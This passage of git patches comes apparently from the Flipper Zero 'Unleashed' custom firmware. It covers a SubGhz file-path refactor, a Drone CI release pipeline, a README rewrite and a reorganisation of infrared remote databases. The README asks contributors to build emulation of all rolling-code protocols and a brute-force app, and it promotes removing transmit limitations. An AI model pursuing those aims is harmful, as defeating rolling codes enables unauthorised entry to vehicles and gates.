SubGhzProtocolFlag_Decodable); -} \ No newline at end of file +} diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index a2034e976..206863f4d 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -49,7 +49,7 @@ bool subghz_scene_set_type_submenu_gen_data_protocol( subghz_receiver_search_decoder_base_by_name(subghz->txrx->receiver, protocol_name); if(subghz->txrx->decoder_result == NULL) { - string_set_str(subghz->error_str, "Protocol not found"); + string_set(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return false; } @@ -340,7 +340,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set_str( + string_set( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -364,7 +364,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set_str( + string_set( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -472,4 +472,4 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_type_on_exit(void* context) { SubGhz* subghz = context; submenu_reset(subghz->submenu); -} \ No newline at end of file +} diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 2dd573eee..99c9db452 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -1,7 +1,5 @@ /* Abandon hope, all ye who enter here. */ -#include "m-string.h" -#include "subghz/types.h" #include "subghz_i.h" #include @@ -26,9 +24,6 @@ void subghz_tick_event_callback(void* context) { SubGhz* subghz_alloc() { SubGhz* subghz = malloc(sizeof(SubGhz)); - string_init(subghz->file_path); - string_init(subghz->file_path_tmp); - // GUI subghz->gui = furi_record_open("gui"); @@ -256,9 +251,9 @@ void subghz_free(SubGhz* subghz) { furi_record_close("notification"); subghz->notifications = NULL; - // Path strings - string_clear(subghz->file_path); - string_clear(subghz->file_path_tmp); + // About birds + furi_assert(subghz->file_path[SUBGHZ_MAX_LEN_NAME] == 0); + furi_assert(subghz->file_path_tmp[SUBGHZ_MAX_LEN_NAME] == 0); // The rest free(subghz); @@ -275,7 +270,7 @@ int32_t subghz_app(void* p) { // Check argument and run corresponding scene if(p) { if(subghz_key_load(subghz, p)) { - string_set_str(subghz->file_path, p); + strncpy(subghz->file_path, p, SUBGHZ_MAX_LEN_NAME); if((!strcmp(subghz->txrx->decoder_result->protocol->name, "RAW"))) { //Load Raw TX @@ -291,13 +286,12 @@ int32_t subghz_app(void* p) { view_dispatcher_stop(subghz->view_dispatcher); } } else { - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); if(load_database) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart); } else { scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneShowError, SubGhzCustomEventManagerSet); - string_set_str( + string_set( subghz->error_str, "No SD card or\ndatabase found.\nSome app function\nmay be reduced."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); @@ -313,4 +307,4 @@ int32_t subghz_app(void* p) { subghz_free(subghz); return 0; -} \ No newline at end of file +} diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 8a2f0b8bc..b1a932836 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -36,7 +36,7 @@ #include #include -#define SUBGHZ_MAX_LEN_NAME 64 +#define SUBGHZ_MAX_LEN_NAME 250 /** SubGhzNotification state */ typedef enum { @@ -128,9 +128,10 @@ struct SubGhz { ByteInput* byte_input; Widget* widget; DialogsApp* dialogs; - string_t file_path; - string_t file_path_tmp; - char file_name_tmp[SUBGHZ_MAX_LEN_NAME]; + char file_path[SUBGHZ_MAX_LEN_NAME + 1]; + char file_path_tmp[SUBGHZ_MAX_LEN_NAME + 1]; + //ToDo you can get rid of it, you need to refactor text input to return the path to the folder + char file_dir[SUBGHZ_MAX_LEN_NAME + 1]; SubGhzNotificationState state_notifications; SubGhzViewReceiver* subghz_receiver; @@ -182,6 +183,5 @@ bool subghz_load_protocol_from_file(SubGhz* subghz); bool subghz_rename_file(SubGhz* subghz); bool subghz_delete_file(SubGhz* subghz); void subghz_file_name_clear(SubGhz* subghz); -bool subghz_path_is_file(string_t path); uint32_t subghz_random_serial(void); -void subghz_hopper_update(SubGhz* subghz); \ No newline at end of file +void subghz_hopper_update(SubGhz* subghz); From 2bfa985b20bf943c34fd713985abd19ea2914453 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:31:48 +0300 Subject: [PATCH 239/461] new builds --- .drone.yml | 107 +++++++++++++++++++++++++++++++++++++++++++++++++++ CHANGELOG.md | 1 + 2 files changed, 108 insertions(+) create mode 100644 .drone.yml create mode 100644 CHANGELOG.md diff --git a/.drone.yml b/.drone.yml new file mode 100644 index 000000000..1d2c838a9 --- /dev/null +++ b/.drone.yml @@ -0,0 +1,107 @@ +kind: pipeline +type: docker +name: 'Build firmware' + +steps: +- name: 'Update submodules' + image: alpine/git + commands: + - git submodule sync + - git -c protocol.version=2 submodule update --init --force + - git submodule foreach git config --local gc.auto 0 + - git log -1 --format='%H' + +- name: 'Rebuild Assets' + image: hfdj/fztools + pull: never + commands: + - export DIST_SUFFIX=${DRONE_TAG} + - export WORKFLOW_BRANCH_OR_TAG=${DRONE_TAG} + - make assets_rebuild assets_manifest + +- name: 'Build default fw' + image: hfdj/fztools + pull: never + commands: + - export DIST_SUFFIX=${DRONE_TAG} + - export WORKFLOW_BRANCH_OR_TAG=${DRONE_TAG} + - make updater_package TARGET=f7 DEBUG=0 COMPACT=1 + - mkdir artifacts-default + - mv dist/f7/* artifacts-default/ + - ls -laS artifacts-default + - ls -laS artifacts-default/f7-update-${DRONE_TAG} + +- name: 'Bundle resources' + image: kramos/alpine-zip + commands: + - tar czpf artifacts-default/flipper-z-any-resources-${DRONE_TAG}.tgz -C assets resources + - ls -laS artifacts-default + +- name: 'Bundle self-update packages' + image: kramos/alpine-zip + commands: + - tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG} + - zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG} + - rm -rf artifacts-default/f7-update-${DRONE_TAG} + - ls -laS artifacts-default + +- name: 'Do Github release' + image: ddplugins/github-release + pull: never + settings: + github_url: https://github.com + repo_owner: + from_secret: github_repoowner + api_key: + from_secret: github_apikey + files: + - artifacts-default/*.tgz + - artifacts-default/*.zip + - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu + title: ${DRONE_TAG} + note: CHANGELOG.md + checksum: + - md5 + - sha1 + - crc32 + +- name: 'Send files to telegram' + image: appleboy/drone-telegram + settings: + token: + from_secret: tgtoken + to: + from_secret: tgid + format: markdown + message: "New Unleashed firmware released! + + + Version: {{build.tag}} + + + [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/{{build.tag}})" + document: + - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu + - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip + +- name: 'Send discord notification' + image: appleboy/drone-discord + settings: + webhook_id: + from_secret: ds_wh_id + webhook_token: + from_secret: ds_wh_token + message: "New Unleashed firmware released! + + + Version: {{build.tag}} + + + [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/{{build.tag}})" + +trigger: + event: + - tag + +node: + typ: haupt \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 000000000..4e50ab882 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1 @@ +* 123555 \ No newline at end of file From a7b0afbfa82866ce1365a8fd19a3716d50d774ee Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:59:18 +0300 Subject: [PATCH 240/461] Update ReadMe.md --- ReadMe.md | 146 +++++++++++++++++++----------------------------------- 1 file changed, 51 insertions(+), 95 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 510a7d004..e049dc567 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,52 +1,38 @@ # Flipper Zero Unleashed Firmware -image(https://discord.gg/58D6E8BtTU) - fzCUSTOM -Welcome to [Flipper Zero](https://flipperzero.one/)'s Custom Firmware repo! -Our goal is to make any features possible in this device without any stupid limitations! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! +Welcome to Flipper Zero's Custom Firmware repo! +Our goal is to make any features possible in this device without any limitations! -# Clone the Repository +Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! + +### This software is for experimental purposes only and is not meant for any illegal activity/purposes.
We do not condone illegal activity and strongly encourage keeping transmissions to legal/valid uses allowed by law.
Also this software is made without any support from Flipper Devices and in no way related to official devs. +### Please use for experimental purposes only! + + +
+
+Our Discord Community: +
+Unofficial Discord Community -You should clone with -```shell -$ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git -``` # Update firmware -[Get Latest Firmware from Update Server](https://github.com/Eng1n33r/flipperzero-firmware) +[Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware) -Flipper Zero's firmware consists of two components: +- Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone +- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf` `resources.tar` and etc.. +- Remove microSD card from flipper and insert it into PC or smartphone +- Create new folder `update` on the root of the sdcard and move folder from archive `f7-update-(CURRENT VERSION)` into `update` +- So it should be like `update/f7-update-(CURRENT VERSION)/update.fuf` and other files, remember iOS default Files app doesnt show all files properly (3 instead of 5), so you need to use another app for unpacking or use PC or Android -- Core2 firmware set - proprietary components by ST: FUS + radio stack. FUS is flashed at factory and you should never update it. -- Core1 Firmware - HAL + OS + Drivers + Applications. +- After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file -They both must be flashed in order described. +`update/f7-update-(CURRENT VERSION)/update.fuf` +- Update will start, wait for all stages, when flipper is started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card -## With STLink - -### Core1 Firmware - -Prerequisites: - -- Linux / macOS -- Terminal -- [arm-gcc-none-eabi](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads) -- openocd - -One liner: `make flash` - -### Core2 flashing procedures - -Prerequisites: - -- Linux / macOS -- Terminal -- STM32_Programmer_CLI (v2.5.0) added to $PATH - -One liner: `make flash_radio` ## With USB DFU @@ -56,13 +42,21 @@ One liner: `make flash_radio` - Press and hold `← Left` + `↩ Back` for reset - Release `↩ Back` and keep holding `← Left` until blue LED lights up - Release `← Left` - -3. Run `dfu-util -D full.dfu -a 0` +3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` -# Build with Docker +# How to Build by yourself: -## Prerequisites +## Clone the Repository + +You should clone with +```shell +$ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git +``` + +## Build with Docker + +### Prerequisites 1. Install [Docker Engine and Docker Compose](https://www.docker.com/get-started) 2. Prepare the container: @@ -71,70 +65,31 @@ One liner: `make flash_radio` docker-compose up -d ``` -## Compile everything +### Compile everything for development ```sh docker-compose exec dev make ``` +### Compile everything for release + get updater package to update from microSD card + +```sh +docker-compose exec dev make updater_package TARGET=f7 DEBUG=0 COMPACT=1 +``` + Check `dist/` for build outputs. Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. -# Build on Linux/macOS +### Flash everything with qFlipper -## macOS Prerequisites +Connect your device and select `Update from file` +then select **`flipper-z-{target}-full-{suffix}.dfu`** +And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card -Make sure you have [brew](https://brew.sh) and install all the dependencies: -```sh -brew bundle --verbose -``` - -## Linux Prerequisites - -### gcc-arm-none-eabi - -```sh -toolchain="gcc-arm-none-eabi-10.3-2021.10" -toolchain_package="$toolchain-$(uname -m)-linux" - -wget -P /opt "https://developer.arm.com/-/media/Files/downloads/gnu-rm/10.3-2021.10/$toolchain_package.tar.bz2" - -tar xjf /opt/$toolchain_package.tar.bz2 -C /opt -rm /opt/$toolchain_package.tar.bz2 - -for file in /opt/$toolchain/bin/* ; do ln -s "${file}" "/usr/bin/$(basename ${file})" ; done -``` - -### Optional dependencies - -- openocd (debugging/flashing over SWD) -- heatshrink (compiling image assets) -- clang-format (code formatting) -- dfu-util (flashing over USB DFU) -- protobuf (compiling proto sources) - -For example, to install them on Debian, use: -```sh -apt update -apt install openocd clang-format-13 dfu-util protobuf-compiler -``` - -heatshrink has to be compiled [from sources](https://github.com/atomicobject/heatshrink). - -## Compile everything - -```sh -make -``` - -Check `dist/` for build outputs. - -Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - -## Flash everything +### Flash everything with ST-Link Connect your device via ST-Link and run: ```sh @@ -143,10 +98,11 @@ make whole # Links -* Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) -* Website: [flipperzero.one](https://flipperzero.one) -* Kickstarter page: [kickstarter.com](https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers) -* Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) +* Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) + +* Official Discord: [https://flipperzero.one/discord](https://flipperzero.one/discord) +* Official Website: [flipperzero.one](https://flipperzero.one) +* Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) # Project structure From 48370ea1e364bf4b57757f3ddd2010d5c1b40f0e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 23:12:44 +0300 Subject: [PATCH 241/461] move big database to optional-assets so self-update can work --- .../infrared/{ => optional-assets}/ACs/Dreo/Dreo_Heater.ir | 0 .../{ => optional-assets}/ACs/Dyson/Dyson_Air_Multiplier.ir | 0 .../infrared/{ => optional-assets}/ACs/Dyson/Dyson_HP09.ir | 0 .../ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir | 0 .../{ => optional-assets}/ACs/Homedics/Homedics_Humidifier.ir | 0 .../{ => optional-assets}/ACs/JETTools/JETTools_AFS-1000B.ir | 0 .../{ => optional-assets}/ACs/Koldfront/Koldfront_WAC12001.ir | 0 .../infrared/{ => optional-assets}/ACs/Koldfront_wac12001.ir | 0 assets/resources/infrared/{ => optional-assets}/ACs/LG/LG_AC.ir | 0 .../infrared/{ => optional-assets}/ACs/Lasko/Lasko_Fan.ir | 0 .../infrared/{ => optional-assets}/ACs/Lasko/Lasko_Fan_Simple.ir | 0 .../infrared/{ => optional-assets}/ACs/Lasko/Lasko_Heater.ir | 0 .../infrared/{ => optional-assets}/ACs/Pelonis_PFS40D6ABB.ir | 0 .../infrared/{ => optional-assets}/ACs/Vornado/Vornado.ir | 0 .../infrared/{ => optional-assets}/ACs/Whynter/Whynter_AC.ir | 0 .../infrared/{ => optional-assets}/ACs/Zenith/Zenith_AC.ir | 0 assets/resources/infrared/{ => optional-assets}/Amino_amigo.ir | 0 assets/resources/infrared/{ => optional-assets}/Amz_snd_bar.ir | 0 assets/resources/infrared/{ => optional-assets}/Apple_tv.ir | 0 .../infrared/{ => optional-assets}/Audio Receivers/Onkyo/Onkyo.ir | 0 .../{ => optional-assets}/Audio Receivers/Onkyo/Onkyo_RC627S.ir | 0 .../Audio Receivers/Sony/Sony_MHC-GS300AV.ir | 0 assets/resources/infrared/{ => optional-assets}/BenQ.ir | 0 .../infrared/{ => optional-assets}/Blu-Ray/LG/LG_BlueRay.ir | 0 .../{ => optional-assets}/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir | 0 .../{ => optional-assets}/CCTV/BrandUnknown/Szxlcom_cams.ir | 0 .../CCTV/MarshallElectronics/Marshall_CV610.ir | 0 .../{ => optional-assets}/Cable Boxes/Amino/Amino_Amigo.ir | 0 .../infrared/{ => optional-assets}/Cable Boxes/DIRECTV/DIRECTV.ir | 0 .../{ => optional-assets}/Cable Boxes/Telus/Telus_OptikTV.ir | 0 .../infrared/{ => optional-assets}/Cameras/Sony/Nikon.ir | 0 .../resources/infrared/{ => optional-assets}/Cameras/Sony/Sony.ir | 0 .../infrared/{ => optional-assets}/Casio-Projector_yt130.ir | 0 .../infrared/{ => optional-assets}/Consoles/Microsoft/Xbox.ir | 0 .../{ => optional-assets}/Converters/RME/RME_ADI-2_DAC_FS.ir | 0 .../resources/infrared/{ => optional-assets}/Converters/ReadMe.md | 0 assets/resources/infrared/{ => optional-assets}/Cv610_remote.ir | 0 .../resources/infrared/{ => optional-assets}/Da_lite_proj_scrn.ir | 0 assets/resources/infrared/{ => optional-assets}/Direct_tv.ir | 0 assets/resources/infrared/{ => optional-assets}/Dragonfly_scrn.ir | 0 assets/resources/infrared/{ => optional-assets}/Dreo_heater.ir | 0 .../infrared/{ => optional-assets}/Dyson_air_multiplier.ir | 0 assets/resources/infrared/{ => optional-assets}/Dyson_hp09.ir | 0 assets/resources/infrared/{ => optional-assets}/Epson.ir | 0 assets/resources/infrared/{ => optional-assets}/Hdmi_switch.ir | 0 .../infrared/{ => optional-assets}/Head Units/GPX/GPX_CDRadio.ir | 0 .../Head Units/Pioneer/Pioneer_DMH-1770NEX.ir | 0 .../LED Lighting/Amazon/Amazon_LED_Lights.ir | 0 .../LED Lighting/BrandUnknown/44_Button_LED.ir | 0 .../LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir | 0 .../{ => optional-assets}/LED Lighting/BrandUnknown/DMX_Light.ir | 0 .../{ => optional-assets}/LED Lighting/BrandUnknown/LEDStrip.ir | 0 .../{ => optional-assets}/LED Lighting/BrandUnknown/LED_44Key.ir | 0 .../LED Lighting/BrandUnknown/Light_Strip.ir | 0 .../LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir | 0 .../LED Lighting/BrandUnknown/Practical_Series_2.ir | 0 .../MonsterIlluminessence/MonsterIlluminessence_LED.ir | 0 .../{ => optional-assets}/LED Lighting/mlambert_rope_light.ir | 0 assets/resources/infrared/{ => optional-assets}/LG_AC.ir | 0 assets/resources/infrared/{ => optional-assets}/LG_BlueRay.ir | 0 assets/resources/infrared/{ => optional-assets}/LG_C1.ir | 0 assets/resources/infrared/{ => optional-assets}/Lasko_fan.ir | 0 assets/resources/infrared/{ => optional-assets}/Lasko_heater.ir | 0 .../{ => optional-assets}/Miscellaneous/AMI/AMI_Jukebox.ir | 0 .../infrared/{ => optional-assets}/Miscellaneous/HDMI_Switch.ir | 0 .../{ => optional-assets}/Miscellaneous/Hasbro/Furby/Furby.ir | 0 .../infrared/{ => optional-assets}/Miscellaneous/LG/LG.ir | 0 .../{ => optional-assets}/Miscellaneous/LaserX/LaserX_Tag.ir | 0 .../infrared/{ => optional-assets}/Miscellaneous/ReadMe.md | 0 assets/resources/infrared/{ => optional-assets}/NEC.ir | 0 assets/resources/infrared/{ => optional-assets}/Nikon.ir | 0 assets/resources/infrared/{ => optional-assets}/Old_sonyxbr.ir | 0 .../infrared/{ => optional-assets}/Panasonic_TC-P50S2.ir | 0 .../resources/infrared/{ => optional-assets}/Pioneer_1770nex.ir | 0 .../infrared/{ => optional-assets}/Projectors/BenQ/BenQ.ir | 0 .../Projectors/BrandUnknown/LED Smart Home Theater Projector.ir | 0 .../{ => optional-assets}/Projectors/BrandUnknown/README.md | 0 .../{ => optional-assets}/Projectors/BrandUnknown/Scrn_innov.ir | 0 .../{ => optional-assets}/Projectors/BrandUnknown/Stlth_acou.ir | 0 .../{ => optional-assets}/Projectors/Casio/Casio_YT-130.ir | 0 .../Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir | 0 .../Projectors/Dragonfly/Dragonfly_Screen.ir | 0 .../infrared/{ => optional-assets}/Projectors/Epson/Epson.ir | 0 assets/resources/infrared/{ => optional-assets}/Roku.ir | 0 assets/resources/infrared/{ => optional-assets}/Roku2.ir | 0 assets/resources/infrared/{ => optional-assets}/Samsung.ir | 0 assets/resources/infrared/{ => optional-assets}/Samsung_TV.ir | 0 assets/resources/infrared/{ => optional-assets}/Samsung_e6.ir | 0 assets/resources/infrared/{ => optional-assets}/Scrn_innov.ir | 0 assets/resources/infrared/{ => optional-assets}/Sharp_Roku_TV.ir | 0 assets/resources/infrared/{ => optional-assets}/Sonyxbr.ir | 0 .../infrared/{ => optional-assets}/SoundBars/Bose/Bose_Solo_2.ir | 0 .../infrared/{ => optional-assets}/SoundBars/Bose/Bose_Solo_5.ir | 0 .../{ => optional-assets}/SoundBars/Bose/Bose_Soundbar.ir | 0 .../{ => optional-assets}/SoundBars/BrandUnknown/Amz_snd_bar.ir | 0 .../{ => optional-assets}/SoundBars/BrandUnknown/Soundblasterx.ir | 0 .../{ => optional-assets}/SoundBars/Klipsch/Klipsch_Soundbar.ir | 0 .../resources/infrared/{ => optional-assets}/SoundBars/Samsung.ir | 0 .../{ => optional-assets}/SoundBars/Sony/Sony_MHC-GS300AV.ir | 0 .../infrared/{ => optional-assets}/SoundBars/Sony/Sony_Old_XBR.ir | 0 .../{ => optional-assets}/SoundBars/Sony/Sony_RDH-GTK33IP.ir | 0 .../{ => optional-assets}/SoundBars/Vizio/Vizio_Soundbar.ir | 0 .../infrared/{ => optional-assets}/SoundBars/Yamaha/Yamaha_RX.ir | 0 assets/resources/infrared/{ => optional-assets}/Stlth_acou.ir | 0 .../{ => optional-assets}/Streaming Devices/Apple/Apple_TV.ir | 0 .../{ => optional-assets}/Streaming Devices/Roku/Jet_AFS-1000b.ir | 0 .../infrared/{ => optional-assets}/Streaming Devices/Roku/Roku.ir | 0 .../{ => optional-assets}/Streaming Devices/Roku/Roku2.ir | 0 .../Streaming Devices/Roku/Roku_Alternate.ir | 0 assets/resources/infrared/{ => optional-assets}/Sunbrite.ir | 0 assets/resources/infrared/{ => optional-assets}/Szxlcom_cams.ir | 0 .../infrared/{ => optional-assets}/TVs/APEX LE4643T TV.ir | 0 .../infrared/{ => optional-assets}/TVs/Hisense/Hisense_RokuTV.ir | 0 assets/resources/infrared/{ => optional-assets}/TVs/LG/LG_C1.ir | 0 .../infrared/{ => optional-assets}/TVs/LG_55UN7300AUD.ir | 0 assets/resources/infrared/{ => optional-assets}/TVs/NEC/NEC.ir | 0 .../{ => optional-assets}/TVs/Panasonic/Panasonic_TC-P50S2.ir | 0 .../{ => optional-assets}/TVs/Philips/Philips_32PFL4208T.ir | 0 .../infrared/{ => optional-assets}/TVs/Samsung/Samsung.ir | 0 .../infrared/{ => optional-assets}/TVs/Samsung/Samsung_BN59.ir | 0 .../{ => optional-assets}/TVs/Samsung/Samsung_BN5901301A.ir | 0 .../infrared/{ => optional-assets}/TVs/Samsung/Samsung_E6.ir | 0 .../infrared/{ => optional-assets}/TVs/Samsung/Samsung_TV.ir | 0 .../infrared/{ => optional-assets}/TVs/Sharp/Sharp_Roku_TV.ir | 0 .../infrared/{ => optional-assets}/TVs/Sony/Sony_Bravia.ir | 0 .../resources/infrared/{ => optional-assets}/TVs/Sony/Sony_XBR.ir | 0 .../{ => optional-assets}/TVs/Sony/Sony_XBR_RMT-TX200U.ir | 0 .../infrared/{ => optional-assets}/TVs/Sunbrite/Sunbrite.ir | 0 .../infrared/{ => optional-assets}/TVs/TCL/TCL_32S327.ir | 0 .../infrared/{ => optional-assets}/TVs/TCL/TCL_UnknownModel1.ir | 0 .../infrared/{ => optional-assets}/TVs/TCL/TCL_UnknownModel2.ir | 0 .../{ => optional-assets}/TVs/Toshiba/Toshiba_32AV502U.ir | 0 .../resources/infrared/{ => optional-assets}/TVs/Vizio/Vizio.ir | 0 .../{ => optional-assets}/TVs/Westinghouse/Westinghouse.ir | 0 assets/resources/infrared/{ => optional-assets}/Tcl.ir | 0 assets/resources/infrared/{ => optional-assets}/Tcl_32s327.ir | 0 assets/resources/infrared/{ => optional-assets}/Tcl_tv.ir | 0 assets/resources/infrared/{ => optional-assets}/Vizio.ir | 0 assets/resources/infrared/{ => optional-assets}/Vizio_Soundbar.ir | 0 assets/resources/infrared/{ => optional-assets}/Vornado.ir | 0 assets/resources/infrared/{ => optional-assets}/Westinghouse.ir | 0 assets/resources/infrared/{ => optional-assets}/Whynter_AC.ir | 0 assets/resources/infrared/{ => optional-assets}/Xbox.ir | 0 assets/resources/infrared/{ => optional-assets}/Yamaha_rx.ir | 0 assets/resources/infrared/{ => optional-assets}/Zenith_AC.ir | 0 .../_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/3M/Projector/134,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/3M/Video Projector/134,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/ABS/SAT_8776/8,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ADA/Millenium/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ADB/Set Top Box/42,17.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/AIM/RADIO/129,129.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/ANITECH/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/AOC/TV/0,189.ir | 0 .../_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir | 0 .../_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Acer/Projector/8,19.ir | 0 .../_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir | 0 .../_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir | 0 .../_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir | 0 .../_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/CD Player/26,-1.ir | 0 .../_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir | 0 .../_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/26,232.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/81,0.ir | 0 .../_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Tuner/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Unknown/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adcom/Unknown/81,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir | 0 .../_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Airmate/Fan/3,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/CD Player/118,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Mini System/110,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown/127,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir | 0 .../{ 